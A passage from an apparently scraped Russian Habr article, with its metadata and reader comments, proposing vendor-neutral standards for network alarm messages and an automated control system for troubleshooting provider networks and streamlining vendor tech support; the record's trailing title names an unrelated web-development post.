малоинформативных данных, например, падение LSP — по записи на каждую, процесс перезагрузки платы итд. Делать это нужно не на одной железке, а на всех по ходу движения трафика и часто даже тех, которые стоят в стороне. Нужно отделить зёрна от плевел — логи, связанные с аварией от тех, которые относятся к другим проблемам. И хорошо, если сеть моновендорная, а если у вас в качестве CE стоит DLink, PE — Huawei, P — cisco, a ASBR — Juniper… Ну что же, тут остаётся посочувствовать. <br/> <br/> К чему я, собственно, веду. Логи — это хорошо, это прекрасно, они нужны. Но они не в удобочитаемом виде. Даже, если у вас правильная сеть, с настроенным NTP и SYSLOG-сервером, который позволяет просмотреть в действительно хронологическом порядке все аварии на всех устройствах, на поиск проблемы уйдёт масса времени. <br/> <br/> При этом каждое устройство знает, что на нём произошло. Возвращаясь к последнему примеру, PE видит падение туннелей, VPN, перестроение IGP. Он может сообщить Системе Контроля в человеческом виде, что, мол, «В 16:20:12 01.01.2013 у меня упали все туннели и VPN'ы в таком-то направлении, через такой-то интерфейс. Кроме того, перестроилась схема маршрутизации. Что там произошло не уверен, но вот OSPF мне сообщил о пропадании линка между устройствами А и Б. Также о проблеме отчитался RSVP».<br/> Промежуточный P, на котором выгорел SFP-модуль так и говорит: «В 16:20:12 01.01.2013 у меня был повреждён SFP-модуль в порту 1/1/1. Я всё проверил — аппаратная неисправность, нужна замена. По OSPF и RSVP разослал уведомление всем соседям».<br/> <br/> Шутки шутками, конечно, но почему бы не разработать стандарт или какой-то протокол, который позволит на самом устройстве провести минимальный анализ и отправить однозначную информацию на Систему Контроля. Получив данные со всех устройств, скомпоновав их и проанализировав, Система Контроля может выдать вполне конкретное сообщение:<br/> «В 16:20:12 на устройстве Б вышел из строя SFP-модуль в порту 1/1/1 (тут ссылочка на тип модуля, серийный номер, аптайм, средний уровень сигнала, количество ошибок на интерфейсе, причина выхода из строя). Это повлекло за собой падение следующих туннелей (список, со ссылками на параметры туннелей), VPN (список, со ссылками на параметры VPN). В 16:20:12 трафик был направлен через временный путь А-С-Е (ссылка на параметры пути: интерфейсы, метки MPLS, VPN итд.). В 16:20:14 был построен новый LSP А-Б»<br/> <br/> <h2>2. Проблемы, которые имеются в данный момент, но не затрагивают сервисы</h2><br/> Что это за проблемы? Ошибки на интерфейсах, которые пока под слабой нагрузкой, и они не дают о себе знать. Флаппинг интерфейсов или маршрутов на резервных линках, слишком лёгкие пароли, отсутствие ACL на VTY или на внешнем интерфейсе, большое количество широковещательных сообщений, поведение, похожее на атаки (обилие ARP, DHCP запросов), высокая утилизация ЦПУ каким-либо процессом, отсутствие чернодырых маршрутов (blackhole) при настроенной агрегации маршрутов.<br/> <br/> Так или иначе сейчас многие такие ситуации отслеживаются и информационные сообщения пишутся в логи. <s>Кто бы их отслеживал?</s> Однако на такие вещи не обращают внимание, пока не вызовут на ковёр в связи с отсутствием связи у тысячи абонентов. И в автоматическом режиме оборудование не пытается найти причину или исправить ситуацию — в лучшем случае настроена отправка на SYSLOG-сервер. <br/> Бывает, конечно, срабатывание чего-либо при определённых действиях — подавление широковещательных пакетов, если их число превышает определённый порог, например. Или отключение порта, на котором наблюдается флаппинг. Но это всё лечение симптомов — оборудование не пытается разобраться, в чём причина такого поведения.<br/> <br/> Какие есть мысли по поводу данной ситуации? Разумеется, во-первых, это стандартизация логов и трапов. Стандартизация глобальная, на уровне комитетов. Все производители должны чётко придерживаться их, как, например, стандарта IP. <br/> <br/> Да, это гигантский объём работы. Нужно предусмотреть все возможные ситуации и сообщения для всех протоколов. Но так или иначе её проделывает каждый вендор в отдельности, изобретая свои способы сообщить о проблеме. Так, может, лучше <i>один раз</i> собраться и договориться раз и навсегда? В конце концов Martini L2VPN тоже когда-то был личной разработкой Cisco.<br/> Отсылать на систему контроля можно в таком виде, например:<br/> «Message_Number.Parent_Message_Number.Device_ID. Date. Time/Time range.Alarm_ID.Optional parameters»<br/> <br/> Message_Number — порядковый номер аварии в сети.<br/> Parent_Message_Number — номер родительской аварии, которая повлекла за собой данную.<br/> Device_ID — уникальный идентификатор устройства в сети.<br/> Date — Дата аварии.<br/> Time/Time range — Время возникновения аварии или период её длительности.<br/> Alarm_ID — уникальный идентификатор аварии в стандарте.<br/> Optional parameters — Дополнительные параметры, характерные для данной аварии.<br/> <br/> Во-вторых, оборудование должно уметь само проводить минимальный анализ ситуации и логов. Оно должно знать где причина, где следствие и помимо детализированных логов отсылать также результаты анализа. <br/> <br/> Например, если падение BFD, IGP и других протоколов было вызвано физическим отключением интерфейса, то он должен представить это в виде ветки зависимостей: падение порте повлекло за собой то-то и сё-то.<br/> <br/> В-третьих, Интеллектуальная Система Контроля Работы Сети должна отразить аварии в человеческом виде.<br/> <br/> Пусть после анализа на сервер мониторинга было отправлено стандартизированное сообщение, например:<br/> <blockquote>«2374698214.0.8422. 29.10.2013 09:00:00-10:00:01.65843927456.GE0/0/0»<br/> «2374698219.2374698214.8422. 29.10.2013 10:00:00-10:00:05. 50. 90. R2D2. 70»<br/> «2374698220.2374698214.8422. 29.10.2013 10:00:01. 182. GE0/0/0. Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired»<br/> </blockquote><br/> <br/> Система Контроля разбирает данные сообщения на составляющие:<br/> Авария №2374698214. Не является следствием чего-либо. Произошла на устройстве с ID 8422 29.10.2013. Длилась с 09:00:00 до 10:00:05. Универсальный идентификатор аварии 65843927456. Дополнительные параметры: GE0/0/0.<br/> <br/> Авария №2374698219. Вызвана аварией «2374698214. Произошла на устройстве с ID 8422 29.10.2013. Длилась с 10:00:00 до 10:00:05. Универсальный идентификатор аварии 50. Дополнительные параметры: 90. 70. R2D2.<br/> <br/> Авария №2374698220. Вызвана аварией „2374698214. Произошла на устройстве с ID 8422 29.10.2013 в 10:00:05. Универсальный идентификатор аварии 182. Дополнительные параметры: GE0/0/0. Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired.<br/> <br/> Далее он обращается в базу данных сетевых устройств и извлекает описание устройства с номером 8422.<br/> В онлайн или в локальной копии глобальной БД аварий находит описание и значение аварии 65843927456 — аномально высокий поток силы. В качестве параметра — интерфейс-источник GE0/0/0.<br/> 50 — Высокая загрузка ЦПУ. Параметры: общая загрузка (90), самый нагружающий процесс (R2D2) и утилизация ЦПУ данным процессом (70). <br/> 182 — выключение интерфейса. В параметрах номер интерфейса и причина, по которой интерфейс бы выключен.<br/> <br/> Далее Система Контроля формирует понятное и исчерпывающее сообщение:<br/> <br/> <i>“К коммутатору C3PO было подключено внешнее устройство к интерфейсу 10GE 0/0/0, генерировавшее аномально высокий поток силы в период с 09:00:00 до 10:00:05.<br/> По этой причине процесс R2D2 утилизировал ЦПУ на 70% в период времени с 10:00 до 10:00:05. Порт был выключен в 10:00:05.<br/> Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired»</i>.<br/> <br/> <h2>3. Аппаратные проблемы</h2><br/> Не стоит, думаю, лишний раз говорить о том, что ничто не вечно, никто не идеален — интерфейсные карты выходят из строя, карты памяти обретают битые сектора, платы спонтанно перезагружаются, программисты внезапно исчезают.<br/> <br/> Мне видится, что если проблема аппаратная и так или иначе решилась, оборудование однозначно может самостоятельно установить причину — потеря синхронизации, неисправность шины управления или мониторинга, выход из строя блока питания платы.<br/> <br/> Одни проблемы имеют накопительный характер, другие внезапный, но, мне кажется, все их можно отследить. Даже, например, полное отключение линейной платы — управляющая плата даже в отсутствие основного питания должна суметь опросить плату и выявить проблему. Если не получается опросить, значит либо сам опрашиватель неисправен — легко проверить, либо плату на замену.<br/> <br/> Опять же Система Контроля должна получить сообщение об этом:<br/> <br/> «Линейная плата в слоту 4 потеряла синхронизацию с коммутационными фабриками из-за повреждения сетевого чипа L43F. Плату необходимо заменить». И тут же по ссылке сгенерированный шаблон на замену оборудования.<br/> <br/> <h2>4. Потенциальные проблемы ПО</h2><br/> Тут всё просто. Либо у вендора есть хорошая база ПО, патчей и их описания со списком доступного функционала и решённых проблем, либо нет. Естественно, если нет, нам надо, чтобы да.<br/> <br/> Система Контроля просто следит за всеми обновлениями и при необходимости загружает их и устанавливает.<br/> <br/> <h2>5. Некорректная конфигурация</h2><br/> Пожалуй, это самый сложный аспект. Тут огромное многообразие вариаций. Даже обычный IP вызовет бурю эмоций при попытке реализовать его автоматическую отладку.<br/> <br/> Формализовать правила конфигурации, означает создать универсальный язык взаимодействия между Системой Контроля и оборудованием. Ну, нельзя же пытаться разгрести на одном сервере разрозненные данные от Juniper, Cisco, ZTE и Dlink. Нельзя создавать парсер, который будет подстраиваться под данные с разных устройств.<br/> <br/> То есть будет необходима стандартизация как минимум хранения конфигурации и передачи её на Систему Контроля.<br/> <br/> Как это видится мне: должен быть блок описания возможностей системы: что за тип (коммутатор, маршрутизатор, файрвол итд.), функционал (OSPF, MPLS, BGP). Дальше должны быть секции собственно конфигурации. Такая структура должна поддерживаться любым оборудованием от коммутатора доступа до VoIP шлюза в IMS-ядре.<br/> <br/> Тогда с лёгкостью можно находить разнообразные неточности: неконсистентные настройки параметров на оппозитных устройствах (например, дискриминаторы BFD, уровни сетей IS-IS, соседи BGP, IP-адреса), совпадающие Router-ID, неактивированный PIM между двумя мультикастовыми маршрутизаторами итд.<br/> <br/> Но, положа руку на сердце, — уже это вещи нетривиальные и реализуемые только должной стандартизации топологий или формализованного LLD (Low Level Design).<br/> <br/> Примеры из реальной жизни для всего описанного выше я уже приводил в <a href="http://nag.ru/articles/article/23991/beschelovechnyie-seti.html">этой статье</a>.<br/> <br/> <h1>Техподдержка</h1><br/> На мой взгляд в этой сфере (как и во многих других), сейчас огромное количество лишней работы и перерасход человеческих ресурсов.<br/> <br/> Будем говорить о сетях операторского уровня, с SOHO и SMB совсем другие тонкости.<br/> <br/> Возьмём для примера процедуру замены неисправной платы.<br/> Сейчас она следующая (с некоторыми вариации для разных вендоров):<br/> 1) Плата вышла из строя, перезагрузилась или начала валить странными сообщениями. Заказчик видит в логах ошибки, аварии, но не может однозначно идентифицировать проблему.<br/> 2) Заказчик звонит на горячую линию поддержки вендора, описывает проблему на словах, либо заполняет стандартную форму. Предоставляет данные, логи, файлы, собранные рабским трудом или вовсе самостоятельно.<br/> 3) Оператор горячей линии открывает запрос назначает его на группу технических специалистов.<br/> 4) Ответственный группы назначает запрос инженеру.<br/> 5) Инженер анализирует данные и в итоге видит те же аварии. Подключается к оборудованию, проводит ряд тестов, собирает информацию.<br/> 6) Зачастую у инженера нет возможности установить истинную причину, и он не может по своей воле рекомендовать замену — эскалация запроса на следующий уровень.<br/> 7) В зависимости от компетенции инженеров более высокого уровня, запрос может путешествовать там какое-то время. До тех пор пока путём ввода определённых команд или анализа логов и диагностической информации согласно определённому алгоритму не будет установлена аппаратная неисправность.<br/> 8) По цепочке рекомендация доходит до ответственного инженера и далее до заказчика.<br/> 9) Затем следует процедура подтверждения закрытия запроса и различная бюрократия.<br/> 10) Заказчик открывает новый запрос на замену — снова заполняет форму, снова указывает проблему. Кол-центр переводит заявку на соответствующий отдел, назначаются ответственные и только потом фактически начинается процедура замены.<br/> <br/> Это довольно пессимимстичный сценарий, но так или иначе вся эта процедура занимает продолжительно время и на неё необходимы усилия как минимум 4-5 людей — инженер заказчика, оператор кол-центра, Тимлид группы, инженер поддержки, инженеры более высоких уровней, сотрудники отдела запасных частей.<br/> <br/> А ведь по сути — есть алгоритмы проверки физических параметров плат. Да их много, но не будем лукавить, их можно ввести в ПО или даже в аппаратную часть плат/шасси.<br/> Оборудование само должно провести этот анализ, и в случае аппаратной проблемы Система Контроля должна выдать однозначную рекомендацию на замену (а, возможно, самостоятельно оформить заявку на замену — по шаблону же). Если ни одна известная аппаратная проблема не подтвердилась, Система Контроля должна предложить открыть запрос в ТП. А лучше опять же самостоятельно заполнить шаблон и зарегистрировать тикет — задача человека — подтвердить заявку. <br/> <br/> Аналогично по очень многим другим вопросам.<br/> Я не могу судить о разных вендорах, но часто бывают вопросы о том, какие версии ПО в данный момент актуальны, какие патчи должны быть установлены, какой функционал доступен в них. <br/> Я считаю, что всем этим должна заниматься Система Контроля — подкачивать ПО, патчи, отслеживать текущие известные проблемы по оборудованию, устанавливать патчи, обновлять прошивки. Более подробно опишу в одной из следующих статей то, как я вижу работу такой системы. <br/> <br/> Вопросы по конфигурации, неработоспособность каких-то сервисов? Часть таких вещей довольно очевидна и заключается либо в неправильном применении инструкций по настройке, либо несоответствии конфигураций на различных устройствах. Но такие ситуации инженер ТП легко отслеживает, вводя определённые команды. Разве не может то же самое сделать и Система Контроля? Проанализировать конфигурацию и понять проблему и даже исправить её?<br/> <br/> <h1>Cоциально-психологические аспекты</h1><br/> Да, у многих инженеров и у меня в том числе есть весомый вопрос — а что тогда делать всем нам, если нас можно заменить автоматикой?<br/> <i>Спешу вас успокоить — мы все устареем, как трубочисты и барышни на коммутаторах.</i><br/> <br/> На самом деле это вечный вопрос и повод для стычек. Куда делись кучеры с появлением автомобилей, куда делся огромный штат, обслуживающий первые ЭВМ с появлением компактных ПК?<br/> Современный мир предлагает нам всё больше разнообразных рабочих мест. В конце концов можно устроиться топливным элементом для матрицы.<br/> <br/> Но никуда не денется обслуживающий персонал и техническая поддержка — есть масса проблем, которые нельзя решить автоматически в силу тех или иных причин (например, административных). Эти и другие вопросы я рассмотрел в другой статье.<br/> <br/> Сети надо проектировать, кабель надо прокладывать, за Системой Контроля следить, проблемы решать. <br/> <br/> Просто нашу жизнь нужно сделать несколько более разумной.<br/> <br/> Гораздо более важная проблема — поддержка вендоров.<br/> Я полностью согласен с комментариями к статье на <a href="http://nag.ru/articles/article/23991/beschelovechnyie-seti.html">наг.ру</a>, такая система, вместо со стандартами и суперпротоколами никому не нужна сейчас.<br/> <br/> У вендоров есть свои NMS, которые они продают за большие деньги (огромные, надо сказать). Да и если будут такие стандарты, оборудование одного вендора можно просто менять на другого и <i>никто этого не заметит</i>. А оно им надо?<br/> <br/> У крупных операторов (да и не очень крупных) часто есть самописные системы. Это и валидаторы конфигураций, и скрипты по автонастройке, и поверхностные анализаторы проблем.<br/> <br/> Инженеры часто инертны и ленивы, либо наоборот гиперактивны и вручную ваяют тысячи строк, которые сгинут при форматировании винчестера следующим поколением админов.<br/> <br/> Как бы то ни было, всё это не то. Совершенно не то.<br/> <br/> После разговоров с коллегами я понял, что складывается неправильное понимание идеи — мол, я хочу предложить создание какой-то программной Системы Контроля, которая скриптами будет парсить логи, конфигурации и выдавать решение. При этом в ней будет 33 тысячи шаблонов для разных вендоров и разных версий ПО. И это чьё-то проприетарное решение, созданное волей одного предприимчивого человека.<br/> <b>НЕТ</b>. Речь о вещах более масштабных — глобальная стандартизация системы сообщений между устройствами. Не Система Контроля должна заботиться о том, чтобы суметь распознать логи с Huawei, Cisco, Extreme, F5 и Juniper. Это само оборудование должно отсылать логи в строго определённом формате. Не кучка инертных скриптов по разным протоколам (FTP, TFTP, Telnet, SSH) должна собирать информацию о конфигурации, авариях, параметрах — это должна быть единая гибкая вендоронезависимая система. <br/> <br/> Другая крайность — парадигма SDN. Это тоже другое. SDN — концентрирует в себе не только функции мониторинга — он забирает на себя практически все задачи оборудования, кроме собственно передачи данных — он принимает все решения о том, <b>как</b> передавать эти данные. Нет канала до мозга SDN — нет сети. <br/> То, о чём веду речь я — всё та же гибкая сеть с самостоятельными устройствами, каждое из которых самодостаточно. А Система Контроля позволяет держать руку на пульсе — знать всё, что происходит в сети, заботиться обо всех проблемах при минимальном участии людей и предоставлять важную информацию в доступном виде.<br/> <br/> <b>P.S.</b><br/> Я не претендую на полноту рассмотрения вопроса — моего уровня знаний явно не хватает, чтобы целиком его объять. Это лишь размышления. <br/> Но я уверен, что это вектор развития сетевых технологий в плане обслуживания и поддержки. Через 50-80 лет всё изменится — сети будут охватывать не только компьютеры, планшетники и телефоны, в сети будет всё. Сплошная конвергенция — WiFi, фиксированные сети, 5G, 6G, телефония, видео, Интернет, M2M. Всё явно идёт не по пути упрощения и на традиционное обслуживание будет уходить всё больше и больше сил и средств. <br/> Самое главное, что такие стандарты должны подойти вовремя. Сейчас не их время, но уже пора говорить об этом.<br/> <br/> По ходу написания этой статьи, которая изначально планировалась вовсе как заметка, я пришёл к выводу, что тема для меня слишком интересная и будет ещё серия статей, посвящённых этой проблеме:<br/> <ul> <li>Система Контроля. Возможности, принципы работы.</li> <li>Протоколы взаимодействия и взаимообмена служебной информацией между устройствами и Интеллектуальной Системой Контроля Работы.</li> <li>Обнаружение и устранение ошибок в конфигурации.</li> <li>Автоматизация настройки оборудования. </li> </ul></div>
Марат (eucariot)
null
null
Когда-то управление автомобилем было почти искусством. Во времена славной классики (шестёрок и пятёрок) нужно было знать, как прочистить карбюратор, заменить топливный насос и что такое «подсос». <br/> Когда-то компьютеры были большими и слово «debug» использовалось в самом прямом его смысле. Когда первые ПК начали входить в наши дома, было важно понимать, что такое северный и южный мост, как установить драйвер для видеоплаты, и какое значение поменять в системном реестре, чтобы таки запустить привередливую игру.<br/> <br/> Сегодня хоть для личного использования, хоть для бизнеса, вы приходите в магазин, покупаете машину, нажимаете кнопку «ВКЛ» и начинаете пользоваться. <br/> Да есть, нюансы — не пройдёт такой трюк с System p5 595 или Bagger 293 — нужны технические специалисты. Однако в базисе, даже для компании из нескольких филиалов — вы купили газельку, несколько ПК, обеспечили их выходом в Интернет — и можно работать. <br/> <br/> Некоторое время назад у меня состоялся спор с человеком от сетей далёким. У него был резонный вопрос: почему нельзя автоматизировать создание и настройку корпоративных сетей небольшого размера. То есть почему он не может купить по одной железке в каждый свой филиал, нажать 5 кнопок на каждой и получить работающую стабильную сеть?<br/> Вопрос был даже более глубокий и затрагивающий личные струны: зачем такой штат техподдержки (у компаний, провайдеров, вендоров). Разве нельзя в автоматическом режиме находить и исправлять бОльшую их часть?<br/> <br/> Да, мне известны многие аргументы, которые тотчас всплывают в вашей голове. Такая постановка вопроса и мне сначала показалась утопической. И это логично, что сейчас это кажется невозможным в сфере связи — максимум в рамках одного домашнего маршрутизатора, но и там не всё гладко. <br/> Однако вопрос не лишён рационального начала, и он завладел моим разумом на долгое время. Правда, я абстрагировался от корпоративных SOHO и SMB сетей и посвятил свои мысли сетям провайдерским.<br/> С точки зрения нетехнического специалиста может казаться, что автоматическая настройка важнее и проще в реализации, чем поиск неисправностей. Но любому инженеру должно быть очевидно, что именно траблшутинг выкладывает дорожку из жёлтого кирпича — если мы не знаем, в чём может быть проблема, как мы можем пытаться что-то настроить?<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/55c/1a9/de8/55c1a9de814cd2cf3a985727dc14a733.png"/><br/> <br/> В этой отправной статье под катом я хочу поделиться своими размышлениями на тему различных препятствий на пути к поставленной цели и способах их преодоления<br/> <br/>
Когда-то управление автомобилем было почти искусством. Во времена славной классики (шестёрок и пятёрок) нужно было знать, как прочистить карбюратор, заменить топливный насос и что такое «подсос». Когда-то компьютеры были большими и слово «debug» использовалось в самом прямом его смысле. Когда первые ПК начали входить в наши дома, было важно понимать, что такое северный и южный мост, как установить драйвер для видеоплаты, и какое значение поменять в системном реестре, чтобы таки запустить привередливую игру. Сегодня хоть для личного использования, хоть для бизнеса, вы приходите в магазин, покупаете машину, нажимаете кнопку «ВКЛ» и начинаете пользоваться. Да есть, нюансы — не пройдёт такой трюк с System p5 595 или Bagger 293 — нужны технические специалисты. Однако в базисе, даже для компании из нескольких филиалов — вы купили газельку, несколько ПК, обеспечили их выходом в Интернет — и можно работать. Некоторое время назад у меня состоялся спор с человеком от сетей далёким. У него был резонный вопрос: почему нельзя автоматизировать создание и настройку корпоративных сетей небольшого размера. То есть почему он не может купить по одной железке в каждый свой филиал, нажать 5 кнопок на каждой и получить работающую стабильную сеть? Вопрос был даже более глубокий и затрагивающий личные струны: зачем такой штат техподдержки (у компаний, провайдеров, вендоров). Разве нельзя в автоматическом режиме находить и исправлять бОльшую их часть? Да, мне известны многие аргументы, которые тотчас всплывают в вашей голове. Такая постановка вопроса и мне сначала показалась утопической. И это логично, что сейчас это кажется невозможным в сфере связи — максимум в рамках одного домашнего маршрутизатора, но и там не всё гладко. Однако вопрос не лишён рационального начала, и он завладел моим разумом на долгое время. Правда, я абстрагировался от корпоративных SOHO и SMB сетей и посвятил свои мысли сетям провайдерским. С точки зрения нетехнического специалиста может казаться, что автоматическая настройка важнее и проще в реализации, чем поиск неисправностей. Но любому инженеру должно быть очевидно, что именно траблшутинг выкладывает дорожку из жёлтого кирпича — если мы не знаем, в чём может быть проблема, как мы можем пытаться что-то настроить? В этой отправной статье под катом я хочу поделиться своими размышлениями на тему различных препятствий на пути к поставленной цели и способах их преодоления
article
1,383,033,890
{ "commentsCount": 14, "favoritesCount": 87, "readingCount": 15011, "score": 11, "votesCount": 11, "votesCountPlus": 11, "votesCountMinus": 0 }
[]
[ "sys_admin", "network_technologies" ]
[ "admin" ]
[ "linkmeup", "бесчеловечные сети", "non-human network" ]
15
null
null
{ "id": [ 6922312, 6923240, 6925732, 6926058, 6926140, 6926206, 6926262, 6926418, 6926820, 6929610, 6942314, 6944702, 7011066, 7020936 ], "parent_id": [ null, null, 6923240, 6925732, 6922312, 6923240, 6926206, 6926262, 6926418, 6926820, null, 6942314, 6944702, 7011066 ], "level": [ 0, 0, 1, 2, 1, 1, 2, 3, 4, 5, 0, 1, 2, 3 ], "time_published": [ 1383078078, 1383114318, 1383141463, 1383146139, 1383147290, 1383148223, 1383148883, 1383151133, 1383157101, 1383232625, 1383652218, 1383713132, 1385035898, 1385282910 ], "score": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересная статья, есть над чем подумать. Стандартизировать это очень хорошо и правильно, но на деле, скорее всего, получится как с еще одним универсальным языком программирования. Да и как уже писали — вендоры на это не пойдут, потому что каждый из них хочет что бы сети были моновендорными. Это с одной стороны. С другой стороны, к примеру если вдруг все договорятся, то видятся некоторые проблемы. Система контроля, становясь единым местом сбора такого количества диагностической информации(от версии ПО до конфигов и логов), сама по себе становится никак не резервируемой и генерирующей в своем направлении не малый объем трафика.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё умрёт, останется openflow. На местах будут тупые железки, конфигурируемые втыкаемым в них токеном (где написан адрес контроллера).<br/>\r\n<br/>\r\nА дальше софтовый openflow-контроллер, энтерпрайз, кластер под этот контроллер и т.д.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По поводу самодиагностики оборудования на таком высоком уровне — какая-то утопия. И да, уже есть OpenFlow. А про стандарты есть хороший стрип.<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/habr/comment_images/99e/fe0/771/99efe07713174872fd5131daf89b2af5.png\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/99e/fe0/771/99efe07713174872fd5131daf89b2af5.png\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько я знаю, у openflow по большому счёту никаких прямых конкурентов нет. Есть споры про мелочи, куча проприентарных решений, но вот как стандарт — только openflow. (Что не означает, что он готов к продакту).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну так же можно сказать про выделенный маршрутизатор в качестве RR-сервера.Он собирает на себе все маршруты AS.<br/>\r\nЕсть понятие кластера, можно сделать георезервирования. <br/>\r\nЦентрализация управления — вопрос времени, мне кажется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну по сути SDN?<br/>\r\nЭто в принципе не противоречит тому, о чём говорю я. Даже если будет SDN, нужен этот самый анализатор проблем на сети, автоматический траблшутинг, настройка. SDN — концепция несколько иного толка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я к тому, что на уровне железок это не решить — только если есть некая центральная точка, которая может показать «типовые топологии» и развернуть на существующих свичах.<br/>\r\n<br/>\r\nПлюс некий момент, что коммутации-то делать всё равно кто-то должен, а это немалый объём работ в построении сети.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Именно. Я прихожу к выводу, что роль конечных железок в такой сети — суметь составить топологию. И не важно занимаются они тупой коммутацией или сами принимают всё-таки решения.<br/>\r\nЕсли L3-топологию мы можем получить с помощью IGP, то для L2 сейчас в лучшем случае можно было бы использовать LLDP/CDP. Но это не то пальто. <br/>\r\n<br/>\r\nИ даже в случае SDN — сам мозг будет знать только о части проблем — железка должна в стандартном виде суметь сообщить, что у неё есть какая-то аппаратная проблема.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«стандартный вид» SNMP trap'ов похож на «стандартный вид сообщения о проблемах»?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, конечно, нет. Сообщения — для человека. Трапы и логи для машин.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">сначала была статика, потом ленивым админам надоело и сделали динамику ( лень не единственная причина :) )<br/>\r\nпотом всякие BFD и FRR. и те же админы обслуживают другие протоколы. потом придется обслуживать системы, которые следят за системами ( сетями) как мне кажется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот в этом и есть мысль — инженеру не придётся следить за отдельными протоколами — достаточно следить за системой контроля. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну то есть утопическая цель не будет достигнута. Технические специалисты всё равно понадобятся, причем еще более «продвинутые». </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Более продвинутые будут поддерживать десятки таких систем. А оператору понадобятся только люди, которые смогут протянуть кабель и правильно воткнуть платы, и люди, которые смогут прочитать сообщение об ошибке в системе мониторинга, которая сведётся к следующим ситуациям:<br/>\r\n<ul>\r\n<li>На сети случилось то-то и то-то. Сейчас всё в порядке</li>\r\n<li>Вышла из строя плата в 9-м слоту на узле 15, находящемся по адресу пр. Ленина, 1. Необходима замена</li>\r\n<li>Вышел пакет обновлений для оборудования DLink. Обновить?</li>\r\n</ul><br/>\r\n<br/>\r\nУтрирую, конечно, но это было бы здорово. </div>" ], "message_markdown": [ "Интересная статья, есть над чем подумать. Стандартизировать это очень хорошо и правильно, но на деле, скорее всего, получится как с еще одним универсальным языком программирования. Да и как уже писали — вендоры на это не пойдут, потому что каждый из них хочет что бы сети были моновендорными. Это с одной стороны. С другой стороны, к примеру если вдруг все договорятся, то видятся некоторые проблемы. Система контроля, становясь единым местом сбора такого количества диагностической информации(от версии ПО до конфигов и логов), сама по себе становится никак не резервируемой и генерирующей в своем направлении не малый объем трафика.", "Всё умрёт, останется openflow. На местах будут тупые железки, конфигурируемые втыкаемым в них токеном (где написан адрес контроллера).\nА дальше софтовый openflow-контроллер, энтерпрайз, кластер под этот контроллер и т.д.", "По поводу самодиагностики оборудования на таком высоком уровне — какая-то утопия. И да, уже есть OpenFlow. А про стандарты есть хороший стрип.", "Насколько я знаю, у openflow по большому счёту никаких прямых конкурентов нет. Есть споры про мелочи, куча проприентарных решений, но вот как стандарт — только openflow. (Что не означает, что он готов к продакту).", "Ну так же можно сказать про выделенный маршрутизатор в качестве RR-сервера.Он собирает на себе все маршруты AS.\nЕсть понятие кластера, можно сделать георезервирования.\nЦентрализация управления — вопрос времени, мне кажется.", "Ну по сути SDN?\nЭто в принципе не противоречит тому, о чём говорю я. Даже если будет SDN, нужен этот самый анализатор проблем на сети, автоматический траблшутинг, настройка. SDN — концепция несколько иного толка.", "Я к тому, что на уровне железок это не решить — только если есть некая центральная точка, которая может показать «типовые топологии» и развернуть на существующих свичах.\nПлюс некий момент, что коммутации-то делать всё равно кто-то должен, а это немалый объём работ в построении сети.", "Именно. Я прихожу к выводу, что роль конечных железок в такой сети — суметь составить топологию. И не важно занимаются они тупой коммутацией или сами принимают всё-таки решения.\nЕсли L3-топологию мы можем получить с помощью IGP, то для L2 сейчас в лучшем случае можно было бы использовать LLDP/CDP. Но это не то пальто.\nИ даже в случае SDN — сам мозг будет знать только о части проблем — железка должна в стандартном виде суметь сообщить, что у неё есть какая-то аппаратная проблема.", "«стандартный вид» SNMP trap'ов похож на «стандартный вид сообщения о проблемах»?", "Нет, конечно, нет. Сообщения — для человека. Трапы и логи для машин.", "сначала была статика, потом ленивым админам надоело и сделали динамику ( лень не единственная причина :) )\nпотом всякие BFD и FRR. и те же админы обслуживают другие протоколы. потом придется обслуживать системы, которые следят за системами ( сетями) как мне кажется.", "Вот в этом и есть мысль — инженеру не придётся следить за отдельными протоколами — достаточно следить за системой контроля.", "Ну то есть утопическая цель не будет достигнута. Технические специалисты всё равно понадобятся, причем еще более «продвинутые».", "Более продвинутые будут поддерживать десятки таких систем. А оператору понадобятся только люди, которые смогут протянуть кабель и правильно воткнуть платы, и люди, которые смогут прочитать сообщение об ошибке в системе мониторинга, которая сведётся к следующим ситуациям:\n На сети случилось то-то и то-то. Сейчас всё в порядке\n Вышла из строя плата в 9-м слоту на узле 15, находящемся по адресу пр. Ленина, 1. Необходима замена\n Вышел пакет обновлений для оборудования DLink. Обновить?\nУтрирую, конечно, но это было бы здорово." ], "author": [ "Александр (HallEffect)", "Георгий Шуклин (amarao)", "Антон Данилов (EvilMan)", "Георгий Шуклин (amarao)", "Марат (eucariot)", "Марат (eucariot)", "Георгий Шуклин (amarao)", "Марат (eucariot)", "Георгий Шуклин (amarao)", "Марат (eucariot)", "rdntw", "Марат (eucariot)", "Евгений Кунгуров (ekungurov)", "Марат (eucariot)" ], "children": [ [ 6926140 ], [ 6925732, 6926206 ], [ 6926058 ], [], [], [ 6926262 ], [ 6926418 ], [ 6926820 ], [ 6929610 ], [], [ 6944702 ], [ 7011066 ], [ 7020936 ], [] ] }
192,012
ru
https://habr.com/ru/post/192012/
Несколько интересностей и полезностей для веб-разработчика (выпуск 2)
